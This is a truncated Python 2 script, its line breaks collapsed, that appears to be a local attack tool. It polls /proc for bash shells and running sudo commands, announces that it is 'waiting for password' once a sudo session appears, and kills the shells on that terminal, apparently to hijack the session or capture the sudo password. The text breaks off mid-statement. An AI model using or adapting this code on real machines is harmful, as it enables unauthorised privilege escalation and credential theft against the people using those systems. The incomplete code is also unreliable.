#!/usr/bin/env python import os,time,signal,pty def GetTty(pid): stdout,stdin=os.popen2("ps -p "+str(pid)) stdin.readline() line=stdin.readline() return line[10:11] found=False target=0 bash=[] print "waiting for a sudo session" while not found: dirs=os.listdir('/proc') bash=[] time.sleep(0.2) for d in dirs: try: pid=int(d) cmd=os.readlink("/proc/"+d+"/exe") if(cmd=="/bin/bash"): tty=int(os.readlink("/proc/"+d+"/fd/0")[9:]) bash.append((pid,tty)) except ValueError: pass except OSError, e: pass except IOError, e: pass for d in dirs: try: pid=int(d) fd=open("/proc/"+d+"/cmdline","rb") cmd=fd.readline() if(cmd[:5]=="sudo\0"): target=int(GetTty(pid)) found=True fd.close() except ValueError: pass except OSError, e: pass except IOError, e: pass print "found a sudo session, waiting for password" time.sleep(10) shells=target for b in bash: if b[1]==target: try: os.kill(b[0],signal.SIGKILL) os.waitpid(b[0],0) except OSError, e: pass elif b[1]